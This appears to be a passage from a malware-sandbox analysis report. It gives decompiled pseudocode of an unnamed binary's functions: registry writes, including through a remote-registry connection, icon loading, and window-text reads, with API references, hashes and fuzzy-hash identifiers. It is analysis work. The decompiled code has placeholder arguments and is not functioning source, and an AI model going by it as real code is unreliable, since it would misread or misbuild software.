													_t185 = E00443676( *((intOrPtr*)( *((intOrPtr*)(_t254 + 4)) + 0xc)));
													_t188 = RegSetValueExW(_v116, E00453081( *((intOrPtr*)( *((intOrPtr*)(_t254 + 4)) + 4))), 0, 3, _t183, _t185);
													__eflags = _t188;
													if(_t188 == 0) {
														goto L43;
													}
													L40:
													_t281 = _v108;
													_push(0);
													_push(_t188);
													_t189 =  *((intOrPtr*)( *_t281 + 4));
													L41:
													__eflags = _t189 + _t281;
													E00404120(_t189 + _t281);
													goto L42;
												}
												_t306 =  *((intOrPtr*)(_t254 + 4));
												_t193 = E00443576( *((intOrPtr*)(_t306 + 0xc)));
												_push(8);
												_push( &_v92);
												_v92 = _t193;
												_push(0xb);
												_v88 = _t306;
												_push(0);
												_push( *((intOrPtr*)( *((intOrPtr*)(_t254 + 4)) + 4)));
												L17:
												_t197 = RegSetValueExW(_v108, E00453081(), ??, ??, ??, ??);
												__eflags = _t197;
												if(_t197 == 0) {
													goto L43;
												}
												_t281 = _v108;
												_push(0);
												_push(_t197);
												_t189 =  *((intOrPtr*)( *_t281 + 4));
												goto L41;
											}
											_t199 = E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t254 + 4)) + 0xc)));
											_push(4);
											_push( &_v88);
											_v88 = _t199;
											_push(4);
											_push(0);
											_push( *((intOrPtr*)( *((intOrPtr*)(_t254 + 4)) + 4)));
											goto L17;
										}
										_t330 = E0045302E( *((intOrPtr*)(_t278 + 0xc)));
										_t75 = _t330 + 2; // 0x2
										_t204 = _t75;
										_v92 = _t204;
										_push( ~(0 | __eflags > 0x00000000) | _t204 * 0x00000002);
										_t323 = E0041171A(_t254, 1, __eflags);
										_t85 = _t330 + 1; // 0x1
										E00436328(__eflags, _t323, E00453081( *((intOrPtr*)( *((intOrPtr*)(_t254 + 4)) + 0xc))), _t85);
										_t211 = 0;
										 *((short*)(_t323 + _t330 * 2)) = 0;
										_t323[2 + _t330 * 2] = 0;
										__eflags = _t330;
										if(__eflags <= 0) {
											L29:
											if(__eflags != 0) {
												_t330 = _v88;
											}
											_t213 = E00453081( *((intOrPtr*)( *((intOrPtr*)(_t254 + 4)) + 4)));
											_t313 = _v108;
											__eflags = RegSetValueExW(_v108, _t213, 0, 7, _t323, _t330 + _t330);
											if(__eflags != 0) {
												__eflags =  *((intOrPtr*)( *_v108 + 4)) + _v108;
												E00404120( *((intOrPtr*)( *_v108 + 4)) + _v108, _t214, 0);
												_t330 = _a8;
												E004092C0(_t323, _t330);
												 *(_t330 + 8) = 1;
												 *_t330 = 0;
											}
											E004112EF(_t254, _t313, _t323, _t330, __eflags, _t323);
											goto L43;
										}
										do {
											__eflags =  *((short*)(_t323 + _t211 * 2)) - 0xa;
											if( *((short*)(_t323 + _t211 * 2)) == 0xa) {
												__eflags = 0;
												 *((short*)(_t323 + _t211 * 2)) = 0;
											}
											_t211 = _t211 + 1;
											__eflags = _t211 - _t330;
										} while (_t211 < _t330);
										__eflags = _t330;
										goto L29;
									}
									_t223 = E004112D5(E00453081( *((intOrPtr*)( *((intOrPtr*)(_t254 + 4)) + 0xc))));
									_t225 = E00453081( *((intOrPtr*)( *((intOrPtr*)(_t254 + 4)) + 0xc)));
									_t188 = RegSetValueExW(_v116, E00453081( *((intOrPtr*)( *((intOrPtr*)(_t254 + 4)) + 4))), 0, 1, _t225, _t223 + _t223 + 2);
									__eflags = _t188;
									if(_t188 == 0) {
										goto L43;
									}
									goto L40;
								}
								_t230 = E004112D5(E00453081( *((intOrPtr*)(_t277 + 0xc))));
								_t260 =  *((intOrPtr*)(_t254 + 4));
								_push(_t230 + _t230 + 2);
								_push(E00453081( *((intOrPtr*)(_t260 + 0xc))));
								_push(2);
								_push(0);
								_push( *((intOrPtr*)(_t260 + 4)));
								goto L17;
							}
							E00404120( *((intOrPtr*)( *_v108 + 4)) + _v108, _t153, 0);
							E004040E0( *((intOrPtr*)( *_v108 + 4)) + _v108, 1, 0);
							_t332 = _a8;
							E004092C0(1, _t332);
							__eflags = _v125;
							_t332[2] = 1;
							 *_t332 = 0;
							if(_v125 == 0) {
								RegCloseKey(_v100);
							}
							goto L45;
						}
						_t243 = RegConnectRegistryW(_v56, _v96,  &_v100);
						__eflags = _t243;
						if(_t243 == 0) {
							_t152 = _v100;
							goto L11;
						}
						_t333 = _v108;
						E00404120( *((intOrPtr*)( *_t333 + 4)) + _t333, _t243, 0);
						_push(0);
						_push(3);
						_t248 =  *((intOrPtr*)( *_t333 + 4)) + _t333;
						L5:
						E004040E0(_t248);
						_t334 = _a8;
						E004092C0(1, _t334);
						_t334[2] = 1;
						 *_t334 = 0;
						goto L45;
					}
					_t298 = _v108;
					_t318 =  *_t298;
					_push(0);
					_push(2);
					_t248 =  *((intOrPtr*)(_t318 + 4)) + _t298;
					__eflags =  *((intOrPtr*)(_t318 + 4)) + _t298;
					goto L5;
				} else {
					_t335 = _a8;
					E004092C0(_t319, _t335);
					_t335[2] = 1;
					 *_t335 = 0;
					L45:
					E00402620( &_v40);
					E00402620( &_v72);
					E00402620( &_v56);
					return 0;
				}
			}













































































                                                                                                                                                                            0x0046aeb5
                                                                                                                                                                            0x0046aeba
                                                                                                                                                                            0x0046aebe
                                                                                                                                                                            0x0046aec3
                                                                                                                                                                            0x0046aecb
                                                                                                                                                                            0x0046aed4
                                                                                                                                                                            0x0046aedd
                                                                                                                                                                            0x0046aee2
                                                                                                                                                                            0x0046aee5
                                                                                                                                                                            0x0046aee8
                                                                                                                                                                            0x0046aeef
                                                                                                                                                                            0x0046af16
                                                                                                                                                                            0x0046af1b
                                                                                                                                                                            0x0046af22
                                                                                                                                                                            0x0046af2b
                                                                                                                                                                            0x0046af30
                                                                                                                                                                            0x0046af36
                                                                                                                                                                            0x0046af46
                                                                                                                                                                            0x0046af4d
                                                                                                                                                                            0x0046af51
                                                                                                                                                                            0x0046af55
                                                                                                                                                                            0x0046af59
                                                                                                                                                                            0x0046af6b
                                                                                                                                                                            0x0046af6e
                                                                                                                                                                            0x0046af73
                                                                                                                                                                            0x0046af75
                                                                                                                                                                            0x0046afa6
                                                                                                                                                                            0x0046afab
                                                                                                                                                                            0x0046afaf
                                                                                                                                                                            0x0046afb1
                                                                                                                                                                            0x0046aff2
                                                                                                                                                                            0x0046aff6
                                                                                                                                                                            0x0046b004
                                                                                                                                                                            0x0046b01c
                                                                                                                                                                            0x0046b022
                                                                                                                                                                            0x0046b024
                                                                                                                                                                            0x0046b074
                                                                                                                                                                            0x0046b078
                                                                                                                                                                            0x0046b359
                                                                                                                                                                            0x0046b364
                                                                                                                                                                            0x0046b366
                                                                                                                                                                            0x0046b36b
                                                                                                                                                                            0x0046b372
                                                                                                                                                                            0x0046b372
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b36b
                                                                                                                                                                            0x0046b090
                                                                                                                                                                            0x0046b095
                                                                                                                                                                            0x0046b09b
                                                                                                                                                                            0x0046b09d
                                                                                                                                                                            0x0046b104
                                                                                                                                                                            0x0046b10c
                                                                                                                                                                            0x0046b10e
                                                                                                                                                                            0x0046b16e
                                                                                                                                                                            0x0046b173
                                                                                                                                                                            0x0046b179
                                                                                                                                                                            0x0046b17b
                                                                                                                                                                            0x0046b263
                                                                                                                                                                            0x0046b26b
                                                                                                                                                                            0x0046b26d
                                                                                                                                                                            0x0046b2a7
                                                                                                                                                                            0x0046b2af
                                                                                                                                                                            0x0046b2b1
                                                                                                                                                                            0x0046b2f0
                                                                                                                                                                            0x0046b2f8
                                                                                                                                                                            0x0046b2fa
                                                                                                                                                                            0x0046b348
                                                                                                                                                                            0x0046b348
                                                                                                                                                                            0x0046b34b
                                                                                                                                                                            0x0046b350
                                                                                                                                                                            0x0046b356
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b356
                                                                                                                                                                            0x0046b303
                                                                                                                                                                            0x0046b314
                                                                                                                                                                            0x0046b32b
                                                                                                                                                                            0x0046b331
                                                                                                                                                                            0x0046b333
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b335
                                                                                                                                                                            0x0046b335
                                                                                                                                                                            0x0046b33b
                                                                                                                                                                            0x0046b33d
                                                                                                                                                                            0x0046b33e
                                                                                                                                                                            0x0046b341
                                                                                                                                                                            0x0046b341
                                                                                                                                                                            0x0046b343
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b343
                                                                                                                                                                            0x0046b2b3
                                                                                                                                                                            0x0046b2ba
                                                                                                                                                                            0x0046b2bf
                                                                                                                                                                            0x0046b2c5
                                                                                                                                                                            0x0046b2c6
                                                                                                                                                                            0x0046b2cd
                                                                                                                                                                            0x0046b2cf
                                                                                                                                                                            0x0046b2d6
                                                                                                                                                                            0x0046b2d8
                                                                                                                                                                            0x0046b0cb
                                                                                                                                                                            0x0046b0d6
                                                                                                                                                                            0x0046b0dc
                                                                                                                                                                            0x0046b0de
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b0e4
                                                                                                                                                                            0x0046b0e8
                                                                                                                                                                            0x0046b0ea
                                                                                                                                                                            0x0046b0ed
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b0ed
                                                                                                                                                                            0x0046b275
                                                                                                                                                                            0x0046b27a
                                                                                                                                                                            0x0046b280
                                                                                                                                                                            0x0046b281
                                                                                                                                                                            0x0046b28b
                                                                                                                                                                            0x0046b28d
                                                                                                                                                                            0x0046b28f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b28f
                                                                                                                                                                            0x0046b18a
                                                                                                                                                                            0x0046b18e
                                                                                                                                                                            0x0046b18e
                                                                                                                                                                            0x0046b191
                                                                                                                                                                            0x0046b1a3
                                                                                                                                                                            0x0046b1a9
                                                                                                                                                                            0x0046b1b4
                                                                                                                                                                            0x0046b1c0
                                                                                                                                                                            0x0046b1c7
                                                                                                                                                                            0x0046b1cc
                                                                                                                                                                            0x0046b1d0
                                                                                                                                                                            0x0046b1d5
                                                                                                                                                                            0x0046b1d7
                                                                                                                                                                            0x0046b1f3
                                                                                                                                                                            0x0046b1f3
                                                                                                                                                                            0x0046b1f5
                                                                                                                                                                            0x0046b1f5
                                                                                                                                                                            0x0046b209
                                                                                                                                                                            0x0046b20e
                                                                                                                                                                            0x0046b21a
                                                                                                                                                                            0x0046b21c
                                                                                                                                                                            0x0046b22a
                                                                                                                                                                            0x0046b22c
                                                                                                                                                                            0x0046b231
                                                                                                                                                                            0x0046b234
                                                                                                                                                                            0x0046b239
                                                                                                                                                                            0x0046b240
                                                                                                                                                                            0x0046b240
                                                                                                                                                                            0x0046b247
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b24c
                                                                                                                                                                            0x0046b1df
                                                                                                                                                                            0x0046b1df
                                                                                                                                                                            0x0046b1e4
                                                                                                                                                                            0x0046b1e6
                                                                                                                                                                            0x0046b1e8
                                                                                                                                                                            0x0046b1e8
                                                                                                                                                                            0x0046b1ec
                                                                                                                                                                            0x0046b1ed
                                                                                                                                                                            0x0046b1ed
                                                                                                                                                                            0x0046b1f1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b1f1
                                                                                                                                                                            0x0046b11d
                                                                                                                                                                            0x0046b134
                                                                                                                                                                            0x0046b149
                                                                                                                                                                            0x0046b14f
                                                                                                                                                                            0x0046b151
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b157
                                                                                                                                                                            0x0046b0a9
                                                                                                                                                                            0x0046b0ae
                                                                                                                                                                            0x0046b0be
                                                                                                                                                                            0x0046b0c5
                                                                                                                                                                            0x0046b0c6
                                                                                                                                                                            0x0046b0c8
                                                                                                                                                                            0x0046b0ca
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b0ca
                                                                                                                                                                            0x0046b034
                                                                                                                                                                            0x0046b043
                                                                                                                                                                            0x0046b048
                                                                                                                                                                            0x0046b04b
                                                                                                                                                                            0x0046b050
                                                                                                                                                                            0x0046b055
                                                                                                                                                                            0x0046b058
                                                                                                                                                                            0x0046b05e
                                                                                                                                                                            0x0046b069
                                                                                                                                                                            0x0046b069
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b05e
                                                                                                                                                                            0x0046afc2
                                                                                                                                                                            0x0046afc8
                                                                                                                                                                            0x0046afca
                                                                                                                                                                            0x0046afec
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046afec
                                                                                                                                                                            0x0046afcc
                                                                                                                                                                            0x0046afda
                                                                                                                                                                            0x0046afe4
                                                                                                                                                                            0x0046afe6
                                                                                                                                                                            0x0046afe8
                                                                                                                                                                            0x0046af86
                                                                                                                                                                            0x0046af86
                                                                                                                                                                            0x0046af8b
                                                                                                                                                                            0x0046af8e
                                                                                                                                                                            0x0046af93
                                                                                                                                                                            0x0046af96
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046af96
                                                                                                                                                                            0x0046af77
                                                                                                                                                                            0x0046af7b
                                                                                                                                                                            0x0046af80
                                                                                                                                                                            0x0046af82
                                                                                                                                                                            0x0046af84
                                                                                                                                                                            0x0046af84
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046aef6
                                                                                                                                                                            0x0046aef6
                                                                                                                                                                            0x0046aef9
                                                                                                                                                                            0x0046aefe
                                                                                                                                                                            0x0046af05
                                                                                                                                                                            0x0046b374
                                                                                                                                                                            0x0046b378
                                                                                                                                                                            0x0046b381
                                                                                                                                                                            0x0046b38a
                                                                                                                                                                            0x0046b397
                                                                                                                                                                            0x0046b397

                                                                                                                                                                            APIs
                                                                                                                                                                            • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046AFC2
                                                                                                                                                                            • RegCreateKeyExW.ADVAPI32(?,?,00000000,004848E8,00000000,?,00000000,?,?,?,?,?), ref: 0046B01C
                                                                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 0046B069
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CloseConnectCreateRegistry
                                                                                                                                                                            • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                                                                                                                                                            • API String ID: 3217815495-966354055
                                                                                                                                                                            • Opcode ID: f239a53bedba1b70013fc957e167de7be6daa67efd2bb60d1ce8af611b38f497
                                                                                                                                                                            • Instruction ID: d9d2404220d166b11353d33fb52652cf6d28829cdaa3b272cf204d1a2c990fb8
                                                                                                                                                                            • Opcode Fuzzy Hash: f239a53bedba1b70013fc957e167de7be6daa67efd2bb60d1ce8af611b38f497
                                                                                                                                                                            • Instruction Fuzzy Hash: 2CE1A1B1600300ABD710EF65C885F1BB7E8AF48704F14895EB945DB392D778E945CBAA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00454DAA Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 203windowlibraryCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 63%
                                                                                                                                                                            			E00454DAA(void* __edx, void* __eflags, void* _a4, WCHAR* _a8, char _a12) {
				void* _v0;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HICON__* _t56;
				int _t57;
				void* _t88;
				signed int _t90;
				signed int _t92;
				struct HINSTANCE__* _t93;
				int _t95;
				void* _t100;
				WCHAR* _t109;
				struct HWND__* _t110;
				struct HWND__** _t111;
				int _t113;
				int _t133;

				_t100 = __edx;
				_t111 = _a4;
				_t109 = _a8;
				_a4 = 0;
				_t113 = E0040C760( &_a12);
				_a8 = 0;
				if(E004112D5(_t109) <= 4) {
					L4:
					_t95 = _t111[0x21];
					_a4 = LoadImageW(0, _t109, 1, _t95, _t111[0x21], 0x2010);
					L15:
					if(_a4 != 0 || E00453333( &_a12) == 0) {
						L27:
						_t56 = _t111[0x19];
						if(_t56 != 0) {
							DestroyCursor(_t56);
						}
						_t57 = _a4;
						_t110 =  *_t111;
						_t111[0x19] = _t57;
						SendMessageW(_t110, 0x170, _t57, 0);
						SendMessageW(_t110, 0x64, 0x172, 1);
						MoveWindow(_t110, _t111[0x20], _t111[0x20], _t111[0x21], _t111[0x21], 1);
						if(_a4 != 0) {
							E004092C0(_t110,  &_a12);
							return 1;
						} else {
							E004092C0(_t110,  &_a12);
							return 0;
						}
					} else {
						if(_t113 <= 0) {
							L20:
							if(_t133 < 0) {
								_t113 = (_t95 | 0xffffffff) - _t113;
							}
							_push(1);
							if(_t111[0x21] <= 0x10) {
								_push( &_a4);
								_push(0);
							} else {
								_push(0);
								_push( &_a4);
							}
							ExtractIconExW(_t109, _t113, ??, ??, ??);
							goto L27;
						}
						if(_a8 == 0) {
							goto L27;
						}
						_t133 = _t113;
						goto L20;
					}
				}
				_a8 = E004115D0(_t100, _t109 + E004112D5(_t109) * 2 - 8, L".icl") == 0;
				_t95 = _t109 + E004112D5(_t109) * 2 - 8;
				_t92 = _t90 & 0xffffff00 | E004115D0(_t100, _t95, L".exe") == 0x00000000;
				if(E004115D0(_t109 + E004112D5(_t109) * 2 - 8, _t109 + E004112D5(_t109) * 2 - 8, L".dll") == 0 || _t92 != 0) {
					_t93 = LoadLibraryExW(_t109, 0, 0x32);
					if(_t93 == 0) {
						goto L15;
					}
					if(E00443E34( &_a12) == 0) {
						if(_t113 >= 0) {
							_t95 = _t111[0x21];
							_a4 = LoadImageW(_t93, _t113 & 0x0000ffff, 1, _t95, _t111[0x21], 0);
						}
						if(_a4 != 0) {
							L14:
							FreeLibrary(_t93);
							goto L15;
						} else {
							_t95 = _t111[0x21];
							_push(0);
							_push(_t111[0x21]);
							_push(_t95);
							_push(1);
							_push(E00453081( &_a12));
							L13:
							_a4 = LoadImageW(_t93, ??, ??, ??, ??, ??);
							goto L14;
						}
					}
					_t95 = _t111[0x21];
					_t88 = LoadImageW(_t93, E00453081( &_a12), 1, _t95, _t111[0x21], 0);
					_v0 = _t88;
					if(_t88 != 0) {
						goto L14;
					}
					_t95 = _t111[0x21];
					_push(_t88);
					_push(_t111[0x21]);
					_push(_t95);
					_push(1);
					_push(_t113 & 0x0000ffff);
					goto L13;
				} else {
					if(_a8 != _t92) {
						goto L15;
					}
					goto L4;
				}
			}




















                                                                                                                                                                            0x00454daa
                                                                                                                                                                            0x00454dad
                                                                                                                                                                            0x00454db2
                                                                                                                                                                            0x00454dba
                                                                                                                                                                            0x00454dc8
                                                                                                                                                                            0x00454dca
                                                                                                                                                                            0x00454dda
                                                                                                                                                                            0x00454e4b
                                                                                                                                                                            0x00454e52
                                                                                                                                                                            0x00454e6b
                                                                                                                                                                            0x00454f3d
                                                                                                                                                                            0x00454f42
                                                                                                                                                                            0x00454f9a
                                                                                                                                                                            0x00454f9a
                                                                                                                                                                            0x00454f9f
                                                                                                                                                                            0x00454fa2
                                                                                                                                                                            0x00454fa2
                                                                                                                                                                            0x00454fa8
                                                                                                                                                                            0x00454fac
                                                                                                                                                                            0x00454fbd
                                                                                                                                                                            0x00454fc0
                                                                                                                                                                            0x00454fcc
                                                                                                                                                                            0x00454ff1
                                                                                                                                                                            0x00455000
                                                                                                                                                                            0x00454f7d
                                                                                                                                                                            0x00454f88
                                                                                                                                                                            0x00455006
                                                                                                                                                                            0x00455006
                                                                                                                                                                            0x00455011
                                                                                                                                                                            0x00455011
                                                                                                                                                                            0x00454f52
                                                                                                                                                                            0x00454f54
                                                                                                                                                                            0x00454f5f
                                                                                                                                                                            0x00454f5f
                                                                                                                                                                            0x00454f66
                                                                                                                                                                            0x00454f66
                                                                                                                                                                            0x00454f70
                                                                                                                                                                            0x00454f72
                                                                                                                                                                            0x00454f8f
                                                                                                                                                                            0x00454f90
                                                                                                                                                                            0x00454f74
                                                                                                                                                                            0x00454f74
                                                                                                                                                                            0x00454f7a
                                                                                                                                                                            0x00454f7a
                                                                                                                                                                            0x00454f94
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00454f94
                                                                                                                                                                            0x00454f5b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00454f5d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00454f5d
                                                                                                                                                                            0x00454f42
                                                                                                                                                                            0x00454dff
                                                                                                                                                                            0x00454e09
                                                                                                                                                                            0x00454e21
                                                                                                                                                                            0x00454e3b
                                                                                                                                                                            0x00454e7f
                                                                                                                                                                            0x00454e83
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00454e95
                                                                                                                                                                            0x00454ee0
                                                                                                                                                                            0x00454ee9
                                                                                                                                                                            0x00454f01
                                                                                                                                                                            0x00454f01
                                                                                                                                                                            0x00454f0a
                                                                                                                                                                            0x00454f36
                                                                                                                                                                            0x00454f37
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00454f0c
                                                                                                                                                                            0x00454f13
                                                                                                                                                                            0x00454f1a
                                                                                                                                                                            0x00454f1c
                                                                                                                                                                            0x00454f1d
                                                                                                                                                                            0x00454f1e
                                                                                                                                                                            0x00454f2a
                                                                                                                                                                            0x00454f2b
                                                                                                                                                                            0x00454f32
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00454f32
                                                                                                                                                                            0x00454f0a
                                                                                                                                                                            0x00454e9e
                                                                                                                                                                            0x00454eb7
                                                                                                                                                                            0x00454ebd
                                                                                                                                                                            0x00454ec3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00454ec5
                                                                                                                                                                            0x00454ecc
                                                                                                                                                                            0x00454ed4
                                                                                                                                                                            0x00454ed5
                                                                                                                                                                            0x00454ed9
                                                                                                                                                                            0x00454edb
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00454e41
                                                                                                                                                                            0x00454e45
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00454e45

                                                                                                                                                                            APIs
                                                                                                                                                                            • _wcslen.LIBCMT ref: 00454DCF
                                                                                                                                                                            • _wcslen.LIBCMT ref: 00454DE2
                                                                                                                                                                            • __wcsicoll.LIBCMT ref: 00454DEF
                                                                                                                                                                            • _wcslen.LIBCMT ref: 00454E04
                                                                                                                                                                            • __wcsicoll.LIBCMT ref: 00454E11
                                                                                                                                                                            • _wcslen.LIBCMT ref: 00454E24
                                                                                                                                                                            • __wcsicoll.LIBCMT ref: 00454E31
                                                                                                                                                                              • Part of subcall function 004115D0: __wcsicmp_l.LIBCMT ref: 00411657
                                                                                                                                                                            • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00454E65
                                                                                                                                                                            • LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,?,?,?,?,?,?,?,00000000), ref: 00454E79
                                                                                                                                                                            • LoadImageW.USER32(00000000,00000000,?,00000001,?,?), ref: 00454EB7
                                                                                                                                                                            • LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00454EFB
                                                                                                                                                                            • LoadImageW.USER32(00000000,00000000,?,00000001,?,?), ref: 00454F2C
                                                                                                                                                                            • FreeLibrary.KERNEL32(00000000), ref: 00454F37
                                                                                                                                                                            • ExtractIconExW.SHELL32(?,00000000,00000000,?,00000001), ref: 00454F94
                                                                                                                                                                            • DestroyCursor.USER32(?), ref: 00454FA2
                                                                                                                                                                            • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00454FC0
                                                                                                                                                                            • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00454FCC
                                                                                                                                                                            • MoveWindow.USER32(?,?,?,?,?,00000001), ref: 00454FF1
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Load$Image_wcslen$__wcsicoll$LibraryMessageSend$CursorDestroyExtractFreeIconMoveWindow__wcsicmp_l
                                                                                                                                                                            • String ID: .dll$.exe$.icl
                                                                                                                                                                            • API String ID: 921679252-1154884017
                                                                                                                                                                            • Opcode ID: 3f138871eb6b7f703bfd118eaab481945a2915db6d26b5ab3e2ea40d00a2935e
                                                                                                                                                                            • Instruction ID: 777b7c61fe84a0ac0f88e3bb9536c5d4e291b97e4b5026f6b39318954af55ba4
                                                                                                                                                                            • Opcode Fuzzy Hash: 3f138871eb6b7f703bfd118eaab481945a2915db6d26b5ab3e2ea40d00a2935e
                                                                                                                                                                            • Instruction Fuzzy Hash: D461D9711043016AE620DF659D85F7B73ECEF84B0AF00481EFE81D5182E7B9A989C77A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004559A8 Relevance: 31.9, APIs: 17, Strings: 1, Instructions: 401COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 23%
                                                                                                                                                                            			E004559A8(void* __eflags) {
				int __ebx;
				int __edi;
				signed int _t132;
				int _t148;
				WCHAR* _t149;
				intOrPtr _t151;
				int _t155;
				int* _t166;
				int _t168;
				struct HWND__* _t170;
				struct HWND__** _t171;
				void* _t173;

				_t166 =  *(_t173 + 0xe8);
				if(E0044213B(0x4a83d8,  *((intOrPtr*)(_t173 + 4)), _t173 + 0x7c, _t173 + 0x14) != 0) {
					_t151 =  *0x4a844c; // 0x2f019d0
					_t171 =  *( *(_t151 +  *(_t173 + 0x14) * 4));
					_t132 = _t171[0x22] & 0x000000ff;
					_t170 =  *_t171;
					_t148 =  *0x482650;
					 *_t166 = 0xffffffff;
					__eflags = _t132 - 0x1c;
					if(__eflags > 0) {
						L72:
						_t168 = SendMessageW(_t170, 0xe, 0, 0) + 1;
						_t155 =  ~(0 | __eflags > 0x00000000) | _t168 * 0x00000002;
						__eflags = _t155;
						_push(_t155);
						_t149 = E0041171A(_t148, _t168, _t155);
						GetWindowTextW(_t170, _t149, _t168);
						goto L73;
					} else {
						switch( *((intOrPtr*)(( *(_t132 + 0x456180) & 0x000000ff) * 4 +  &M00456144))) {
							case 0:
								__edi = SendMessageW(__esi, 0x147, 0, 0);
								__eflags = __edi - 0xffffffff;
								if(__eflags == 0) {
									goto L72;
								} else {
									__eax = SendMessageW(__esi, 0x149, __edi, 0);
									__ecx = 0;
									__eax = __eax + 1;
									2 = __eax * 2 >> 0x20;
									__eax = __eax * 2;
									0 | __eflags > 0x00000000 =  ~(__eflags > 0);
									__ecx =  ~(__eflags > 0) | __eax;
									__eflags = __ecx;
									_push(__ecx);
									__eax = E0041171A(__ebx, __edi, __ecx);
									__esp = __esp + 4;
									__ebp = __eax;
									SendMessageW(__esi, 0x148, __edi, __ebp) = __ebp;
									return __ebp;
								}
								goto L74;
							case 1:
								_push(0);
								_push(0);
								_push(0x188);
								_push(_t170);
								_t169 =  *_t148();
								__eflags = _t169 - 0xffffffff;
								if(__eflags == 0) {
									goto L72;
								} else {
									_push(0);
									_push(_t169);
									_push(0x18a);
									_push(_t170);
									_t159 =  ~(0 | __eflags > 0x00000000) | ( *_t148() + 0x00000001) * 0x00000002;
									__eflags = _t159;
									_push(_t159);
									_t172 = E0041171A(_t148, _t169, _t159);
									_push(_t172);
									_push(_t169);
									_push(0x189);
									_push(_t170);
									 *_t148();
									return _t172;
								}
								goto L74;
							case 2:
								 *__edi = SendMessageW(__esi, 0x408, 0, 0);
								__eax = 0;
								__eflags = 0;
								return 0;
								goto L74;
							case 3:
